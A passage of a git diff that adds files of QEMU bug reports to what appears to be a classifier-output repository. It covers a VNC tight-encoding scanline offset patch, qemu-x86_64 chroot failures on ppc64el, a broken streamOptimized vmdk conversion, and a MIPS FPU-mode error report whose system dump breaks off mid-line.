+ ['TIGHT_PNG', -260 ], + ['HEXTILE', 0x05 ], + ['RRE', 0x02 ], + + +cheers, + Gerd + + +If you had opened vnc.html before the rfb.js might be still in the browser cache, at least I had a similar issue once. +I have tested this with Chrome but I think it happened in Firefox too. + +This patch adds an x argument to qemu_pixman_linebuf_fill so it can +also be used to convert a partial scanline. Then fix tight + png/jpeg +encoding by passing in the x+y offset, so the data is read from the +correct screen location instead of the upper left corner. + +Cc: <email address hidden> +Cc: <email address hidden> +Reported-by: Tim Hardeneck <email address hidden> +Signed-off-by: Gerd Hoffmann <email address hidden> +--- + hw/vga.c | 2 +- + qemu-pixman.c | 4 ++-- + qemu-pixman.h | 2 +- + ui/vnc-enc-tight.c | 4 ++-- + ui/vnc.c | 2 +- + 5 files changed, 7 insertions(+), 7 deletions(-) + +diff --git a/hw/vga.c b/hw/vga.c +index 568083a..22561a5 100644 +--- a/hw/vga.c ++++ b/hw/vga.c +@@ -2413,7 +2413,7 @@ void ppm_save(const char *filename, struct DisplaySurface *ds, Error **errp) + } + linebuf = qemu_pixman_linebuf_create(PIXMAN_BE_r8g8b8, width); + for (y = 0; y < height; y++) { +- qemu_pixman_linebuf_fill(linebuf, ds->image, width, y); ++ qemu_pixman_linebuf_fill(linebuf, ds->image, width, 0, y); + clearerr(f); + ret = fwrite(pixman_image_get_data(linebuf), 1, + pixman_image_get_stride(linebuf), f); +diff --git a/qemu-pixman.c b/qemu-pixman.c +index e46e180..1473835 100644 +--- a/qemu-pixman.c ++++ b/qemu-pixman.c +@@ -52,10 +52,10 @@ pixman_image_t *qemu_pixman_linebuf_create(pixman_format_code_t format, + } + + void qemu_pixman_linebuf_fill(pixman_image_t *linebuf, pixman_image_t *fb, +- int width, int y) ++ int width, int x, int y) + { + pixman_image_composite(PIXMAN_OP_SRC, fb, NULL, linebuf, +- 0, y, 0, 0, 0, 0, width, 1); ++ x, y, 0, 0, 0, 0, width, 1); + } + + pixman_image_t *qemu_pixman_mirror_create(pixman_format_code_t format, +diff --git a/qemu-pixman.h b/qemu-pixman.h +index bee55eb..3c05c83 100644 +--- a/qemu-pixman.h ++++ b/qemu-pixman.h +@@ -31,7 +31,7 @@ pixman_format_code_t qemu_pixman_get_format(PixelFormat *pf); + pixman_image_t *qemu_pixman_linebuf_create(pixman_format_code_t format, + int width); + void qemu_pixman_linebuf_fill(pixman_image_t *linebuf, pixman_image_t *fb, +- int width, int y); ++ int width, int x, int y); + pixman_image_t *qemu_pixman_mirror_create(pixman_format_code_t format, + pixman_image_t *image); + void qemu_pixman_image_unref(pixman_image_t *image); +diff --git a/ui/vnc-enc-tight.c b/ui/vnc-enc-tight.c +index 9ae4cab..62d0fde 100644 +--- a/ui/vnc-enc-tight.c ++++ b/ui/vnc-enc-tight.c +@@ -1212,7 +1212,7 @@ static int send_jpeg_rect(VncState *vs, int x, int y, int w, int h, int quality) + buf = (uint8_t *)pixman_image_get_data(linebuf); + row[0] = buf; + for (dy = 0; dy < h; dy++) { +- qemu_pixman_linebuf_fill(linebuf, vs->vd->server, w, dy); ++ qemu_pixman_linebuf_fill(linebuf, vs->vd->server, w, x, y + dy); + jpeg_write_scanlines(&cinfo, row, 1); + } + qemu_pixman_image_unref(linebuf); +@@ -1356,7 +1356,7 @@ static int send_png_rect(VncState *vs, int x, int y, int w, int h, + if (color_type == PNG_COLOR_TYPE_PALETTE) { + memcpy(buf, vs->tight.tight.buffer + (dy * w), w); + } else { +- qemu_pixman_linebuf_fill(linebuf, vs->vd->server, w, dy); ++ qemu_pixman_linebuf_fill(linebuf, vs->vd->server, w, x, y + dy); + } + png_write_row(png_ptr, buf); + } +diff --git a/ui/vnc.c b/ui/vnc.c +index f4486ad..4b15dd4 100644 +--- a/ui/vnc.c ++++ b/ui/vnc.c +@@ -2570,7 +2570,7 @@ static int vnc_refresh_server_surface(VncDisplay *vd) + uint8_t *server_ptr; + + if (vd->guest.format != VNC_SERVER_FB_FORMAT) { +- qemu_pixman_linebuf_fill(tmpbuf, vd->guest.fb, width, y); ++ qemu_pixman_linebuf_fill(tmpbuf, vd->guest.fb, width, 0, y); + guest_ptr = (uint8_t *)pixman_image_get_data(tmpbuf); + } else { + guest_ptr = guest_row; +-- +1.7.1 + + + +This patch adds an x argument to qemu_pixman_linebuf_fill so it can +also be used to convert a partial scanline. Then fix tight + png/jpeg +encoding by passing in the x+y offset, so the data is read from the +correct screen location instead of the upper left corner. + +Cc: <email address hidden> +Cc: <email address hidden> +Reported-by: Tim Hardeneck <email address hidden> +Signed-off-by: Gerd Hoffmann <email address hidden> +--- + hw/vga.c | 2 +- + qemu-pixman.c | 4 ++-- + qemu-pixman.h | 2 +- + ui/vnc-enc-tight.c | 4 ++-- + ui/vnc.c | 2 +- + 5 files changed, 7 insertions(+), 7 deletions(-) + +diff --git a/hw/vga.c b/hw/vga.c +index 2b0200a..c266161 100644 +--- a/hw/vga.c ++++ b/hw/vga.c +@@ -2413,7 +2413,7 @@ void ppm_save(const char *filename, struct DisplaySurface *ds, Error **errp) + } + linebuf = qemu_pixman_linebuf_create(PIXMAN_BE_r8g8b8, width); + for (y = 0; y < height; y++) { +- qemu_pixman_linebuf_fill(linebuf, ds->image, width, y); ++ qemu_pixman_linebuf_fill(linebuf, ds->image, width, 0, y); + clearerr(f); + ret = fwrite(pixman_image_get_data(linebuf), 1, + pixman_image_get_stride(linebuf), f); +diff --git a/qemu-pixman.c b/qemu-pixman.c +index 79e175b..e7263fb 100644 +--- a/qemu-pixman.c ++++ b/qemu-pixman.c +@@ -52,10 +52,10 @@ pixman_image_t *qemu_pixman_linebuf_create(pixman_format_code_t format, + } + + void qemu_pixman_linebuf_fill(pixman_image_t *linebuf, pixman_image_t *fb, +- int width, int y) ++ int width, int x, int y) + { + pixman_image_composite(PIXMAN_OP_SRC, fb, NULL, linebuf, +- 0, y, 0, 0, 0, 0, width, 1); ++ x, y, 0, 0, 0, 0, width, 1); + } + + pixman_image_t *qemu_pixman_mirror_create(pixman_format_code_t format, +diff --git a/qemu-pixman.h b/qemu-pixman.h +index bee55eb..3c05c83 100644 +--- a/qemu-pixman.h ++++ b/qemu-pixman.h +@@ -31,7 +31,7 @@ pixman_format_code_t qemu_pixman_get_format(PixelFormat *pf); + pixman_image_t *qemu_pixman_linebuf_create(pixman_format_code_t format, + int width); + void qemu_pixman_linebuf_fill(pixman_image_t *linebuf, pixman_image_t *fb, +- int width, int y); ++ int width, int x, int y); + pixman_image_t *qemu_pixman_mirror_create(pixman_format_code_t format, + pixman_image_t *image); + void qemu_pixman_image_unref(pixman_image_t *image); +diff --git a/ui/vnc-enc-tight.c b/ui/vnc-enc-tight.c +index 9ae4cab..62d0fde 100644 +--- a/ui/vnc-enc-tight.c ++++ b/ui/vnc-enc-tight.c +@@ -1212,7 +1212,7 @@ static int send_jpeg_rect(VncState *vs, int x, int y, int w, int h, int quality) + buf = (uint8_t *)pixman_image_get_data(linebuf); + row[0] = buf; + for (dy = 0; dy < h; dy++) { +- qemu_pixman_linebuf_fill(linebuf, vs->vd->server, w, dy); ++ qemu_pixman_linebuf_fill(linebuf, vs->vd->server, w, x, y + dy); + jpeg_write_scanlines(&cinfo, row, 1); + } + qemu_pixman_image_unref(linebuf); +@@ -1356,7 +1356,7 @@ static int send_png_rect(VncState *vs, int x, int y, int w, int h, + if (color_type == PNG_COLOR_TYPE_PALETTE) { + memcpy(buf, vs->tight.tight.buffer + (dy * w), w); + } else { +- qemu_pixman_linebuf_fill(linebuf, vs->vd->server, w, dy); ++ qemu_pixman_linebuf_fill(linebuf, vs->vd->server, w, x, y + dy); + } + png_write_row(png_ptr, buf); + } +diff --git a/ui/vnc.c b/ui/vnc.c +index ba30362..04afcff 100644 +--- a/ui/vnc.c ++++ b/ui/vnc.c +@@ -2569,7 +2569,7 @@ static int vnc_refresh_server_surface(VncDisplay *vd) + uint8_t *server_ptr; + + if (vd->guest.format != VNC_SERVER_FB_FORMAT) { +- qemu_pixman_linebuf_fill(tmpbuf, vd->guest.fb, width, y); ++ qemu_pixman_linebuf_fill(tmpbuf, vd->guest.fb, width, 0, y); + guest_ptr = (uint8_t *)pixman_image_get_data(tmpbuf); + } else { + guest_ptr = guest_row; +-- +1.7.1 + + + +The patch does fix the issue for me, thanks. + +Gerd's patch had been included here: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=bc210eb163b162ff2 +==> Setting status to "Fix released" + diff --git a/results/classifier/deepseek-1/output/implementation./1591611 b/results/classifier/deepseek-1/output/implementation./1591611 new file mode 100644 index 00000000..09f05e8d --- /dev/null +++ b/results/classifier/deepseek-1/output/implementation./1591611 @@ -0,0 +1,96 @@ + +chroot using qemu-x86_64-static fails on ppc64el + +When attempting to use qemu-x86_64-static from qemu 2.5.0 on a ppc64el host to chroot into an amd64 environment, all commands fail with an assertion error. /usr/bin/qemu-x86_64-static from the host was copied into the chroot /usr/bin, and the host has multiformat support in the kernel. + +Sample output illustrating the problem, as well as bash builtins working: + +# chroot /virtualbox/scratchdisks_local_001/amd64_chroot qemu-x86_64-static /bin/bash +# ls +bash: ../sysdeps/nptl/fork.c:136: __libc_fork: Assertion `({ __typeof (self->tid) __value; if (sizeof (__value) == 1) asm volatile ("movb %%fs:%P2,%b0" : "=q" (__value) : "0" (0), "i" (__builtin_offsetof (struct pthread, tid))); else if (sizeof (__value) == 4) asm volatile ("movl %%fs:%P1,%0" : "=r" (__value) : "i" (__builtin_offsetof (struct pthread, tid))); else { if (sizeof (__value) != 8) abort (); asm volatile ("movq %%fs:%P1,%q0" : "=r" (__value) : "i" (__builtin_offsetof (struct pthread, tid))); } __value; }) != ppid' failed. +setup_frame: not implemented +setup_frame: not implemented +qemu: uncaught target signal 11 (Segmentation fault) - core dumped +Segmentation fault +setup_frame: not implemented +setup_frame: not implemented +# echo TEST +TEST +# cat test +bash: ../sysdeps/nptl/fork.c:136: __libc_fork: Assertion `({ __typeof (self->tid) __value; if (sizeof (__value) == 1) asm volatile ("movb %%fs:%P2,%b0" : "=q" (__value) : "0" (0), "i" (__builtin_offsetof (struct pthread, tid))); else if (sizeof (__value) == 4) asm volatile ("movl %%fs:%P1,%0" : "=r" (__value) : "i" (__builtin_offsetof (struct pthread, tid))); else { if (sizeof (__value) != 8) abort (); asm volatile ("movq %%fs:%P1,%q0" : "=r" (__value) : "i" (__builtin_offsetof (struct pthread, tid))); } __value; }) != ppid' failed. +qemu: uncaught target signal 11 (Segmentation fault) - core dumped +Segmentation fault + +It is currently unknown if other host architectures (e.g. aarch64) are also affected. + +We don't have an implementation of the target-specific signal handling code for the x86-64 guest. Anything that cares about signals therefore won't work with this target. + +In general the x86-64 guest support for linux-user isn't very good; ARM or AArch64 guest should behave rather better. + + +Are there any plans to implement these signal handlers? + +I don't know of any plans to do so. They would not be difficult to implement (500 lines of code or so at most I guess), but on the other hand they've been unimplemented for some years. They fall into the category of "nobody who wants them has cared enough to write the code yet", I'm afraid. + + +Can you point me to the correct location in the codebase / any available resources on these handlers? I might be able to tackle this at a later date, but am not currently familiar with qemu's codebase. + +linux-user/signal.c has a collection of functions for creating a signal frame on the stack before taking a signal, and then reading the data out of it on return from a signal. The four entry points from the rest of QEMU are setup_frame(), setup_rt_frame(), do_sigreturn() and do_rt_sigreturn(). We have implementations for a lot of target architectures, but for TARGET_I386 we only have the case of TARGET_ABI_BITS==32 (ie i386), not the x86-64 case. + +What these functions have to do is architecture dependent and generally not documented -- you'll need to look in the corresponding Linux kernel source code to identify the structures and data layouts. + + +By the way there is probably a bug in what we're doing with fork/clone that's causing the initial assertion, as well as the missing signal handling problem. + + +Yes, I saw that -- implementing the signal handlers fixed the hang and a few other problems, but the assertion and subsequent SIGABORT/SIGSEGV are still present. Currently attempting to track down the fork() issues. + +If you've got working code for the signal handlers you can submit those as patches now if you like. (http://wiki.qemu.org/Contribute/SubmitAPatch has info on the formatting hoops.) We have a feature freeze for QEMU 2.7 coming up on the 28th June, so before then would be ideal. + +Judging by the assertion, something is going wrong with libc's attempt to set the child tidptr via the ctid argument to clone and the CLONE_CHILD_SETTID flag. + + +OK, the fundamental problem is that do_fork() uses put_user_u32() on child_tidptr, but child_tidptr appears to be a host pointer. Treating it as a host pointer (direct assignment) allows fork to proceed, but this seems a bit odd to say the least. + +Still investigating. + +On closer inspection maybe it's not that odd...the parent and child tid pointers are in abi, not target, space. I'm going to assume direct assignment is correct (using __put_user()) and proceed from there. + +No, put_user_u32() is correct and __put_user() would be wrong. child_tidptr is a value passed directly from the guest in a register, so it is a guest pointer, not a host pointer. + + +qemu can locate the guest page with that address but it has a flags field of all zero (no access, invalid). Any ideas? + +So after some further debugging effort it turns out while the page allocator is unaware of the mapping (looks like the x86_64 NPTL implementation never maps the thread ID memory?), g2h() does work on the address, and in this case they map to the same value. I'll probably submit a patch using g2h in case anyone else might have a better idea on how to handle this. + +Finally figured it out! + +It's the page size. qemu user mode does NOT support a host page that is greater than 4k on x86/x86_64 systems, despite some claims to the contrary on older documentation pages. + +I'll be updating the patch to print a clear warning on failure instead of allowing corrupt data and the resultant cryptic target messages. + +Patch series sent to mailing list here: +http://lists.nongnu.org/archive/html/qemu-devel/2016-06/msg05334.html + +In particular, this patch handles the original signal handler problem: +http://lists.nongnu.org/archive/html/qemu-devel/2016-06/msg05335.html + +I tried QEMU with these patches [qemu-x86_64 version 2.6.94 (v2.7.0-rc4-dirty)] but found the same errors as before: + +bash: ../sysdeps/nptl/fork.c:136: __libc_fork: Assertion `THREAD_GETMEM (self, tid) != ppid' failed. +setup_frame: not implemented +setup_frame: not implemented +qemu: uncaught target signal 11 (Segmentation fault) - core dumped +setup_frame: not implemented +bash: ../sysdeps/nptl/fork.c:136: __libc_fork: Assertion `THREAD_GETMEM (self, tid) != ppid' failed. +qemu: uncaught target signal 11 (Segmentation fault) - core dumped + +So does this patch set form a complete solution or if some more fixes expected? + +Thanks, +Atul. + +This bug has been moved to "Fix committed" before v2.9.0 has been release ... so could we move this to "Fix released" now? Or is there still something left to do here? + +Nope, looks good here. As a note to other commenters, this won't work unless you are using a kernel compiled with the 4k page size -- default for PPC64 is 64k. + diff --git a/results/classifier/deepseek-1/output/increases./1874486 b/results/classifier/deepseek-1/output/increases./1874486 new file mode 100644 index 00000000..9f2ef52f --- /dev/null +++ b/results/classifier/deepseek-1/output/increases./1874486 @@ -0,0 +1,115 @@ + +Bug in qemu-img when converting to streamOptimized vmdk images + +I reviewed #1006655, and I think I'm already on a newer version, so this is either a regression or a new bug. + +I have been recently attempting to convert images from raw and qcow2 formats to vmdk. It appears that the option "subformat=streamOptimized" produces a broken or corrupted disk image. + +Current versions, running on Devuan testing: + +ii ipxe-qemu 1.0.0+git-20190125.36a4c85-1 all PXE boot firmware - ROM images for qemu +ii qemu 1:3.1+dfsg-8+deb10u4 amd64 fast processor emulator, dummy package +ii qemu-efi-aarch64 0~20181115.85588389-3 all UEFI firmware for 64-bit ARM virtual machines +ii qemu-efi-arm 0~20181115.85588389-3 all UEFI firmware for 32-bit ARM virtual machines +ii qemu-kvm 1:3.1+dfsg-8+deb10u4 amd64 QEMU Full virtualization on x86 hardware +ii qemu-slof 20180702+dfsg-1 all Slimline Open Firmware -- QEMU PowerPC version +ii qemu-system 1:3.1+dfsg-8+deb10u4 amd64 QEMU full system emulation binaries +ii qemu-system-arm 1:3.1+dfsg-8+deb10u4 amd64 QEMU full system emulation binaries (arm) +ii qemu-system-common 1:3.1+dfsg-8+deb10u4 amd64 QEMU full system emulation binaries (common files) +ii qemu-system-data 1:3.1+dfsg-8+deb10u4 all QEMU full system emulation (data files) +ii qemu-system-gui 1:3.1+dfsg-8+deb10u4 amd64 QEMU full system emulation binaries (user interface and audio support) +ii qemu-system-mips 1:3.1+dfsg-8+deb10u4 amd64 QEMU full system emulation binaries (mips) +ii qemu-system-misc 1:3.1+dfsg-8+deb10u4 amd64 QEMU full system emulation binaries (miscellaneous) +ii qemu-system-ppc 1:3.1+dfsg-8+deb10u4 amd64 QEMU full system emulation binaries (ppc) +ii qemu-system-sparc 1:3.1+dfsg-8+deb10u4 amd64 QEMU full system emulation binaries (sparc) +ii qemu-system-x86 1:3.1+dfsg-8+deb10u4 amd64 QEMU full system emulation binaries (x86) +ii qemu-utils 1:3.1+dfsg-8+deb10u4 amd64 QEMU utilities + +Current uname -a: +Linux laptop-dev 5.4.0-0.bpo.3-amd64 #1 SMP Debian 5.4.13-1~bpo10+1 (2020-02-07) x86_64 GNU/Linux + +Current CPU info: +$ cat /proc/cpuinfo +processor : 0 +vendor_id : GenuineIntel +cpu family : 6 +model : 158 +model name : Intel(R) Core(TM) i7-8750H CPU @ 2.20GHz +stepping : 10 +microcode : 0xca +cpu MHz : 800.109 +cache size : 9216 KB +physical id : 0 +siblings : 12 +core id : 0 +cpu cores : 6 +apicid : 0 +initial apicid : 0 +fpu : yes +fpu_exception : yes +cpuid level : 22 +wp : yes +flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch cpuid_fault epb invpcid_single pti ssbd ibrs ibpb stibp tpr_shadow vnmi flexpriority ept vpid ept_ad fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid mpx rdseed adx smap clflushopt intel_pt xsaveopt xsavec xgetbv1 xsaves dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp md_clear flush_l1d +bugs : cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs itlb_multihit +bogomips : 4399.99 +clflush size : 64 +cache_alignment : 64 +address sizes : 39 bits physical, 48 bits virtual +power management: + +$ cat /proc/meminfo +MemTotal: 16098356 kB +MemFree: 2292720 kB +MemAvailable: 12323616 kB + + +Steps to reproduce: +1) Create a base o/s image in .qcow2 or raw format. I am using a Debian 10 (buster) image, and my images are created using packer 1.5.5. +2) Verify that the base image in .qcow2 format boots correctly in virt-manager when attached to a new VM. +3) Convert the image to vmdk using the following command: +qemu-img convert -f qcow2 -O vmdk -o adapter_type=lsilogic,subformat=streamOptimized,hwversion=6 <image name>.qcow2 <image name>.vmdk +4) Create a new VM using the newly-created .vmdk, being sure to make the storage adapter SCSI +Result: The image, on boot, will display many disk read errors. It will boot, but will start in read-only mode. + +This same image will also not boot correctly in ESXi or VirtualBox. In any of the three hypervisor environments, the bootloader menu (grub2) shows up correctly, but the machine will fail to boot correctly. + + +I reviewed the vmdk header, and the output is here: + +dd if=base.vmdk of=output-vm-disk1.descriptor bs=1 skip=512 count=1024 + +$ cat output-vm-disk1.descriptor +# Disk DescriptorFile +version=1 +CID=2120740c +parentCID=ffffffff +createType="streamOptimized" + +# Extent description +RW 61440000 SPARSE "base.vmdk" + +# The Disk Data Base +#DDB + +ddb.virtualHWVersion = "6" +ddb.geometry.cylinders = "3824" +ddb.geometry.heads = "255" +ddb.geometry.sectors = "63" +ddb.adapterType = "lsilogic" + +Removing the "subformat=streamOptimized" argument from the qemu-img conversion command results in a working, albeit much larger image, with no disk read errors. + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting older bugs to "Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/inequality.}}/1825002 b/results/classifier/deepseek-1/output/inequality.}}/1825002 new file mode 100644 index 00000000..2a4b5061 --- /dev/null +++ b/results/classifier/deepseek-1/output/inequality.}}/1825002 @@ -0,0 +1,182 @@ + +"qemu: Unexpected FPU mode" since 0c1bbedc10e86ea9366b6af8c5520fafa3266b2f + +This happens every time I attempt to chroot into a gentoo-mips image unless I load the executable via ld.so + +/home (root)# chroot gentoo-mips32r2el /bin/sh +qemu: Unexpected FPU mode +/home (root)# chroot gentoo-mips32r2el /lib/ld-2.19.so /bin/sh +sh-4.2# exit +/home (root)# + +I don't know the underlying cause, but keep in mind that we may lie and claim to have an FPU when our CPU doesn't because of kernel emulation that may not be present in the host kernel. Don't know if that's related. + +I get this with various gentoo-mips stage3 tarballs, but not with OpenWRT. (e.g., https://gentoo.osuosl.org/experimental/mips/stages/mips32r2el/2014) + + + +# emerge --info app-emulation/qemu +Portage 2.3.51 (python 3.6.5-final-0, default/linux/amd64/17.0/desktop/plasma, gcc-8.2.0, glibc-2.27-r6, 4.14.96-gentoo x86_64) +================================================================= + System Settings +================================================================= +System uname: Linux-4.14.96-gentoo-x86_64-AMD_Ryzen_7_2700X_Eight-Core_Processor-with-gentoo-2.6 +KiB Mem: 32890732 total, 3480024 free +KiB Swap: 16777212 total, 10575592 free +Timestamp of repository gentoo: Thu, 11 Apr 2019 06:00:01 +0000 +Head commit of repository gentoo: 66eaaa28926103e690db0699466a274a17ab1979 +sh bash 4.4_p23-r1 +ld GNU ld (Gentoo 2.30 p5) 2.30.0 +distcc 3.3.2 x86_64-pc-linux-gnu [disabled] +ccache version 3.3.4 [disabled] +app-shells/bash: 4.4_p23-r1::gentoo +dev-java/java-config: 2.2.0-r4::gentoo +dev-lang/perl: 5.26.2::gentoo +dev-lang/python: 2.7.15::gentoo, 3.6.5::gentoo +dev-util/ccache: 3.3.4-r1::gentoo +dev-util/cmake: 3.9.6::gentoo +dev-util/pkgconfig: 0.29.2::gentoo +sys-apps/baselayout: 2.6-r1::gentoo +sys-apps/openrc: 0.38.3-r1::gentoo +sys-apps/sandbox: 2.13::gentoo +sys-devel/autoconf: 2.13-r1::gentoo, 2.64-r1::gentoo, 2.69-r4::gentoo +sys-devel/automake: 1.11.6-r3::gentoo, 1.13.4-r2::gentoo, 1.15.1-r2::gentoo, 1.16.1-r1::gentoo +sys-devel/binutils: 2.30-r4::gentoo +sys-devel/gcc: 4.9.4::gentoo, 5.4.0-r6::gentoo, 6.4.0-r5::gentoo, 7.3.0-r6::gentoo, 8.1.0-r3::gentoo, 8.2.0-r6::gentoo, 8.3.0::gentoo +sys-devel/gcc-config: 2.0::gentoo +sys-devel/libtool: 2.4.6-r3::gentoo +sys-devel/make: 4.2.1-r4::gentoo +sys-kernel/linux-headers: 4.14-r1::gentoo (virtual/os-headers) +sys-libs/glibc: 2.27-r6::gentoo +Repositories: + +gentoo + location: /usr/portage + sync-type: rsync + sync-uri: rsync://rsync.gentoo.org/gentoo-portage + priority: -1000 + sync-rsync-verify-jobs: 1 + sync-rsync-extra-opts: + sync-rsync-verify-metamanifest: yes + sync-rsync-verify-max-age: 24 + +love-local + location: /usr/local/portage + masters: gentoo + priority: 0 + +chaoslab + location: /var/lib/layman/chaoslab + masters: gentoo + priority: 50 + +java + location: /var/lib/layman/java + masters: gentoo + priority: 50 + +steam-overlay + location: /var/lib/layman/steam-overlay + masters: gentoo + priority: 50 + +zugaina + location: /var/lib/layman/zugaina + masters: gentoo + priority: 50 + +ACCEPT_KEYWORDS="amd64" +ACCEPT_LICENSE="* -@EULA" +CBUILD="x86_64-pc-linux-gnu" +CFLAGS="-march=native -O2 -ggdb3 -pipe" +CHOST="x86_64-pc-linux-gnu" +CONFIG_PROTECT="/etc /usr/lib64/libreoffice/program/sofficerc /usr/share/config /usr/share/gnupg/qualified.txt" +CONFIG_PROTECT_MASK="/etc/ca-certificates.conf /etc/dconf /etc/env.d /etc/fonts/fonts.conf /etc/gconf /etc/gentoo-release /etc/revdep-rebuild /etc/sandbox.d /etc/splash /etc/terminfo /etc/texmf/language.dat.d /etc/texmf/language.def.d /etc/texmf/updmap.d /etc/texmf/web2c" +CXXFLAGS="-march=native -O2 -ggdb3 -pipe" +DISTDIR="/mnt/large/distfiles" +EMERGE_DEFAULT_OPTS="-j3 --load-average=17.5 --with-bdeps=y --autounmask=n" +ENV_UNSET="DBUS_SESSION_BUS_ADDRESS DISPLAY GOBIN PERL5LIB PERL5OPT PERLPREFIX PERL_CORE PERL_MB_OPT PERL_MM_OPT XAUTHORITY XDG_CACHE_HOME XDG_CONFIG_HOME XDG_DATA_HOME XDG_RUNTIME_DIR" +FCFLAGS="-O2 -pipe" +FEATURES="assume-digests binpkg-logs buildpkg candy cgroup compress-build-logs compressdebug config-protect-if-modified distlocks ebuild-locks fixlafiles installsources ipc-sandbox merge-sync multilib-strict network-sandbox news parallel-fetch preserve-libs protect-owned sandbox sfperms split-elog split-log splitdebug strict strict-keepdir unknown-features-warn unmerge-logs unmerge-orphans userfetch userpriv usersandbox usersync xattr" +FFLAGS="-O2 -pipe" +GENTOO_MIRRORS="http://gentoo.mirrors.tds.net/gentoo http://gentoo.mirrors.easynews.com/linux/gentoo/ http://gentoo.osuosl.org/ http://mirrors.rit.edu/gentoo/ http://gentoo.cs.uni.edu/ http://gentoo.osuosl.org/ " +LANG="en_US.utf8" +LDFLAGS="-Wl,-O1 -Wl,--as-needed" +LINGUAS="en en-US en_US" +MAKEOPTS="-j15 --load-average=17" +PKGDIR="/mnt/large/packages" +PORTAGE_COMPRESS="pxz" +PORTAGE_COMPRESS_FLAGS="-9e" +PORTAGE_CONFIGROOT="/" +PORTAGE_RSYNC_OPTS="--recursive --links --safe-links --perms --times --omit-dir-times --compress --force --whole-file --delete --stats --human-readable --timeout=180 --exclude=/distfiles --exclude=/local --exclude=/packages --exclude=/.git" +PORTAGE_TMPDIR="/tmp" +USE="X a52 aac aacs acl acpi activities aes aio alsa amd64 amr avx avx2 bcache berkdb bluetooth bluray branding bzip2 cairo cdda cddb cdio cdr celt cli consolekit crypt cups cxx d3d9 dbus declarative designer device-mapper dirac directfb dot dri dts dvd dvdr emboss encode exif f16c fam ffmpeg fftw flac fluidsynth fma3 fontconfig fortran fuse gdbm geolocation gif git glamor go gphoto2 gpm gps graphite graphviz gsm gstreamer gtk hardened hddtemp highlight iconv icu ipv6 jpeg jpeg2k kde kerberos kipi kwallet lame latex lcms ldap libass libcaca libnotify libsamplerate libtirpc lm_sensors lto lvm lz4 lzma lzo mad matroska midi mjpeg mmx mmxext mng mono mp3 mp4 mpeg mtp multicall multilib multitarget musepack natspec ncurses netlink networkmanager nfs nls nptl nsplugin ogg openal openexr opengl openh264 openmp openssl opus osmesa pam pango pcap pch pclmul pcre pdf perl pgo phonon plasma playlist png policykit popcnt postgres postproc ppds pulseaudio python qml qt5 rar raw readline samba sasl savedconfig scanner schroedinger sdl seccomp sensors sid smp snappy speex spell spice sqlite sqlite3 squashfs sse sse2 sse3 sse4_1 sse4_2 sse4a ssh ssl ssse3 startup-notification static-libs subversion svg syslog systemtap taglib tcpd theora threads tiff timidity tools tremor truetype tty-helpers twolame udev udisks unicode upnp-av upower usb usbredir utils v4l vaapi valgrind vcdx vdpau vim-syntax virt-network virtio vlc vorbis vpx webdav webp widgets wxwidgets x264 x265 xattr xcb xcomposite xen xine xml xspice xv xvid xvmc zeroconf zlib" ABI_X86="64 32" ALSA_CARDS="ali5451 als4000 atiixp atiixp-modem bt87x ca0106 cmipci emu10k1x ens1370 ens1371 es1938 es1968 fm801 hda-intel intel8x0 intel8x0m maestro3 trident usb-audio via82xx via82xx-modem ymfpci" APACHE2_MODULES="authn_core authz_core socache_shmcb unixd actions alias auth_basic authn_alias authn_anon authn_dbm authn_default authn_file authz_dbm authz_default authz_groupfile authz_host authz_owner authz_user autoindex cache cgi cgid dav dav_fs dav_lock deflate dir disk_cache env expires ext_filter file_cache filter headers include info log_config logio mem_cache mime mime_magic negotiation rewrite setenvif speling status unique_id userdir usertrack vhost_alias" CALLIGRA_FEATURES="karbon sheets words" COLLECTD_PLUGINS="df interface irq load memory rrdtool swap syslog" CPU_FLAGS_X86="aes avx avx2 f16c fma3 mmx mmxext pclmul popcnt sse sse2 sse3 sse4_1 sse4_2 sse4a ssse3" CURL_SSL="openssl" ELIBC="glibc" GPSD_PROTOCOLS="ashtech aivdm earthmate evermore fv18 garmin garmintxt gpsclock isync itrax mtk3301 nmea ntrip navcom oceanserver oldstyle oncore rtcm104v2 rtcm104v3 sirf skytraq superstar2 timing tsip tripmate tnt ublox ubx" GRUB_PLATFORMS="efi-64 pc coreboot emu multiboot qemu xen" INPUT_DEVICES="keyboard mouse joystick evdev wacom vmmouse" KERNEL="linux" L10N="en en-US en_US" LCD_DEVICES="bayrad cfontz cfontz633 glk hd44780 lb216 lcdm001 mtxorb ncurses text" LIBREOFFICE_EXTENSIONS="presenter-console presenter-minimizer" LLVM_TARGETS="AMDGPU ARM BPF NVPTX Mips X86" NETBEANS_MODULES="apisupport cnd groovy gsf harness ide identity j2ee java mobility nb php profiler soa visualweb webcommon websvccommon xml" OFFICE_IMPLEMENTATION="libreoffice" PHP_TARGETS="php5-6 php7-1" POSTGRES_TARGETS="postgres9_5 postgres10" PYTHON_SINGLE_TARGET="python3_6" PYTHON_TARGETS="python2_7 python3_6" QEMU_SOFTMMU_TARGETS="aarch64 arm armeb i386 hppa m68k microblaze microblazeel mips mips64 mips64el mipsel mipsn32 mipsn32el ppc ppc64 ppc64abi32 ppc64le s390x sparc sparc32plus sparc64 x86_64" QEMU_USER_TARGETS="aarch64 arm armeb i386 hppa m68k microblaze microblazeel mips mips64 mips64el mipsel mipsn32 mipsn32el ppc ppc64 ppc64abi32 ppc64le s390x sparc sparc32plus sparc64 x86_64" RUBY_TARGETS="ruby24" USERLAND="GNU" VIDEO_CARDS="radeon radeonsi vesa 